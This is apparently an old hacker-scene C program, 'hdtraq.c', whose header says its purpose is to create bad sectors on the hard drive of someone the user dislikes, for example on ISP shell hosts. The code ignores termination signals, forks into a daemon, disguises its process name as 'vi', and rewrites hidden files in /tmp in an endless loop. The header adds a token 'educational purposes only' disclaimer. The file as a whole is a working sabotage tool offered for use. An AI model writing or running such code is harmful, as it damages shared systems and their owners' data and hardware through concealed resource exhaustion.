/* hdtraq.c -- Create bad sectors on a HD of someone you don't like
   Run is for as long as you can, it runs as a daemon so just
   compile, run, logoff.. Comeback a week later or something :)
   Wurx good on lameass ISPs

   Compilation:
        on BSD type of systems do:  gcc -DBSD_C  -o cvn cvn.c
        on SysV type of systems do: gcc -DSYSV_C -o cvn cvn.c

        on my linux, I can compile it with both -DBSD_C and -DSYSV_C

        if your not sure, you can experiment, or compile it
        without any -D'efines

  NOTE: this program is provided for educational purposes only, its author
        will not take any responsibility for any stupid things you will
        decide to do.

	This program is a pre-release. It must contain bugs!@#
	if you find any /msg me on irc
					-- Vio

            .a&$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$&a.
            $$'   s   `$'   s   `$    $    $    $    `$   $$
            $$    $    $    $    $    $    $    $         $$
            $$    $    $ p  $ h  $ e  $ a  $ r  $   $a.   $$
            $$    $ssss$    $    $    $    $    $   $$$   $$
            $$    $    $    $    $.   $   ,$    $   $$$   $$
            $$.   $   ,$.   $   ,$$.     ,$$   .$   $$$   $$
            `$$&@%o%@&$$$&@%o%@&$$$$$%o%$$$$.a$$$.a$$$$$$$$'
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>

#define BUFSIZE 640000

main(int argc, char *argv[])
{
int fl[5];
int c;
char *buff;

signal(SIGINT,  SIG_IGN);       /* If any of the signals don't work */
signal(SIGHUP,  SIG_IGN);       /* on the system you are compiling  */
signal(SIGTERM, SIG_IGN);       /* them on, just erase that line    */
signal(SIGALRM, SIG_IGN);
signal(SIGBUS,  SIG_IGN);
signal(SIGFPE,  SIG_IGN);
signal(SIGILL,  SIG_IGN);
signal(SIGIOT,  SIG_IGN);
signal(SIGPIPE, SIG_IGN);
signal(SIGQUIT, SIG_IGN);
signal(SIGSEGV, SIG_IGN);
signal(SIGTRAP, SIG_IGN);
signal(SIGUSR1, SIG_IGN);
signal(SIGUSR2, SIG_IGN);
#ifdef BSD_C
        signal(SIGPROF, SIG_IGN);
        signal(SIGSTOP, SIG_IGN);
        signal(SIGTSTP, SIG_IGN);
        signal(SIGTTIN, SIG_IGN);
        signal(SIGTTOU, SIG_IGN);
        signal(SIGVTALRM,       SIG_IGN);
        signal(SIGXCPU, SIG_IGN);
        signal(SIGXFSZ, SIG_IGN);
#endif

#ifdef SYSV_C
        signal(SIGPOLL, SIG_IGN);
        signal(SIGPWR,  SIG_IGN);
#endif

if(fork()) {
	printf("Now making the HD a piece of useless junk\n");
	printf("Running this wiglet utility as a daemon\n");
	printf("Come back later.. err try\n");
	printf("			--CoViN\n");
	exit(0);
	}

argv[0] = "vi";
buff=malloc(BUFSIZE);

/* i coded this in a hurry.. hehe	 */
while(1) {
	c=0;
	fl[0]=open("/tmp/.a",O_WRONLY|O_CREAT,511);
	fl[1]=open("/tmp/.b",O_WRONLY|O_CREAT,511);
	fl[2]=open("/tmp/.c",O_WRONLY|O_CREAT,511);
	fl[3]=open("/tmp/.d",O_WRONLY|O_CREAT,511);
	while(c<4) {
		write(fl[c], buff, BUFSIZE);
		lseek(fl[c], 0, SEEK_SET);
		close(fl[c]);
		c++;
		}
	}	
}
